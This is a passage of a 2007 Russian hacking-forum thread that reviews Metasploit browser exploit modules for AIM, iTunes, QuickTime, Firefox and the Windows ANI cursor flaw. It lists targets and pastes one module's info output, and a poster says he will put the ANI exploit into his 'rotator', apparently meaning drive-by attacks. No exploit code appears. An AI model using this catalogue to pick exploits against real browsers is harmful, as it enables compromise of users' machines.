13.windows/browser/aim_goaway - (аналог: отсутствует). Сплоит эксплуатирует недостаток в обработке AOL Instant Messenger'ом 'goaway' в обработчике URI. Атакующий может выполнить произвольный код, предоставив чрезмерно большой буфер, как параметр сообщения. Этот баг, как известно, затрагивает AOL Instant Messenger 5.5. Цель: "Windows NT/2000/XP/2003 Automatic". Код ситуации 3
14.windows/browser/apple_itunes_playlist- (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в Apple ITunes 4.7 сборки 4.7.0.42. Созданый URL линк связывается со злонамеренным PLS-файлом и удаленный атакующий может переполнить буфер и выполнить произвольный код. Когда используете этот модуль, убедитесь, что установили переменную URIPATH с расширением '.pls '. И снова переполнение в проигрывателе, анологично WinApm. В общем повезёт, если установлен бажный Apple ITunes 4.7. Цель: "Windows 2000 Pro English SP4, Windows XP Pro English SP2". Код ситуации 3.
15.windows/browser/apple_quicktime_rtsp- (аналог: отсутствует). Сплоит эксплуатирует переполнение буфера в Apple QuickTime 7.1.3. Этот модуль был вдохновлен MOAB-01-01-2007. В общем может повезти, если установлен Apple QuickTime 7.1.3. Цель: "Apple QuickTime Player 7.1.3". Код ситуации наверно 3, хотя может и не только. (не знаю уязвима ли программа под MAC).
Проанализируем для Mozilla FireFox:
multi/browser/firefox_queryinterface Firefox location.QueryInterface() Code Execution
multi/browser/mozilla_compareto Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution
multi/browser/mozilla_navigatorjava Mozilla Suite/Firefox Navigator Object Code Execution
1.multi/browser/firefox_queryinterface - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Firefox браузер. Чтобы надежно эксплуатировать эту уязвимость, мы нуждаемся в заполнинии почти гигабайта памяти инстукцией nop и начинкой. Это модуль был проверен на OS X 10.3 с готовым Firefox 1.5.0 package. Цель: "Firefox 1.5.0.0 Mac OS X, Firefox 1.5.0.0 Linux". Код ситуации (позже посчитаю).
2.multi/browser/mozilla_compareto - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Suite, Mozilla Firefox, и приложения Mozilla Thunderbird. Этот модуль контролирует порт Aviv Raff's HTML PoC. Цель: "Firefox < 1.0.5 Windows". Код ситуации 35.
3.multi/browser/mozilla_navigatorjava - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Suite, Mozilla Firefox, и приложения Mozilla Thunderbird. Успешная эксплуатация уязвимости возможна, если Java-плагин установлен.
Обратим внимание на цели:
-- ----
0 Firefox 1.5.0.4 Windows x86
1 Firefox 1.5.0.4 Linux x86
2 Firefox 1.5.0.4 Mac OS X PPC
3 Firefox 1.5.0.4 Mac OS X x86
- уязвимы все системы, где установлен этот браузер. Для каждой системы потребуется своя начинка. Коды ситуаций 35 (и ещё 3 шт.).
... обновлено, добавлен сплоит под №0, продолжаю анализ сплоитов (19 шт. уже не мало, но это не всё)...
Последний раз редактировалось -=lebed=-; 05.04.2007 в 11:03..
Причина: добавил 0day сплоит .ANY files
|
|
|

04.04.2007, 14:38
|
|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме: 9089375
Репутация:
4268
|
|
Было бы просто отлично(хотя и так супер), если бы автор описал нам новейшую уязвимость Ani курсорчиков под винды. Я думаю, что большинство виндовых машин уязвимы, а значит эта уязвимость архиактуальна.
|
|
|

04.04.2007, 15:17
|
|
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме: 1347723
Репутация:
1477
|
|
Что-то не понял, а где часть 5?
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....
|
|
|

04.04.2007, 15:29
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от Alexsize
Было бы просто отлично(хотя и так супер), если бы автор описал нам новейшую уязвимость Ani курсорчиков под винды. Я думаю, что большинство виндовых машин уязвимы, а значит эта уязвимость архиактуальна.
Есть всё тут: http://securityvulns.ru/news/Microsoft/Windows/ANI.html
|
|
|

04.04.2007, 15:48
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от ShadOS
Что-то не понял, а где часть 5?
 Пятая будет потом. Описание релиза 3.0 + пользовательский мануал + мануал разработчика.
P.S. Надоело описывать одно и тоже. n0ne сделает перевод мана для разработчиков, кроме того выйдет рабочий сплоит the ANI vulnerability on Vista (skape), если уже не вышел, вот тогда можно будет и пятую часть написать. 
|
|
|

04.04.2007, 18:39
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сделал update релиза MSF 3.0 появился в списочке этот сплоит!
windows/browser/ani_loadimage_chunksize - завтра буду тестить, Добавлю в анализ и потом в свой ротатор, так как очень актуален, как заметил Alexsize.
Вот инфа:
info windows/browser/ani_loadimage_chunksize
Name: Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)
Version: 4645
Platform: Windows
Privileged: No
License: Metasploit Framework License
Provided by:
hdm <hdm@metasploit.com>
skape <mmiller@hick.org>
Available targets:
Id Name
-- ----
0 Automatic
1 Windows XP SP2 user32.dll 5.1.2600.2622
2 Windows XP SP2 userenv.dll English
3 Windows XP SP0/SP1 netui2.dll English
4 Windows 2000 SP0-SP4 netui2.dll English
5 Windows Vista user32.dll 6.0.6000.16386
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.0.3.84 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 1180
Description:
This module exploits a buffer overflow vulnerability in the
LoadAniIcon() function of USER32.dll. The flaw is triggered through
Internet Explorer (6 and 7) by using the CURSOR style sheet
directive to load a malicious .ANI file. Internet Explorer will
catch any exceptions that occur while the invalid cursor is loaded,
causing the exploit to silently fail when the wrong target has been
chosen. This module will be updated in the near future to perform
client-side fingerprinting and brute forcing. This vulnerability was
discovered by Alexander Sotirov of Determina and was rediscovered,
in the wild, by McAfee.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-0038
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-1765
http://www.securityfocus.com/bid/23194
http://www.microsoft.com/technet/security/advisory/935423.mspx
http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp
http://www.determina.com/security.research/vulnerabilities/ani-header.html
Вот перевод описания:
Сплоит эксплуатирует уязвимость переполнение буфера в LoadAniIcon () функции библиотеки UER32.dll. Баг вызван через браузер Интернет Эксплорер (6 и 7), использущий директиву загрузки стиля КУРСОРА злонамеренного .ANI файла. Internet Explorer будет ловить любые исключения, которые происходят, в то время как неправильный курсор загружен, эксплоит будет терпеть неудачу, если выбрана неправильная цель. Этот модуль будет обновлен в ближайшем будущем, чтобы исполнить fingerprinting на стороне клиента и брутфорс (грубая сила). Эта уязвимость была обнаруженна Александром Сотировым Determina и была открыта вновь, McAfee.
Последний раз редактировалось -=lebed=-; 05.04.2007 в 10:26..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|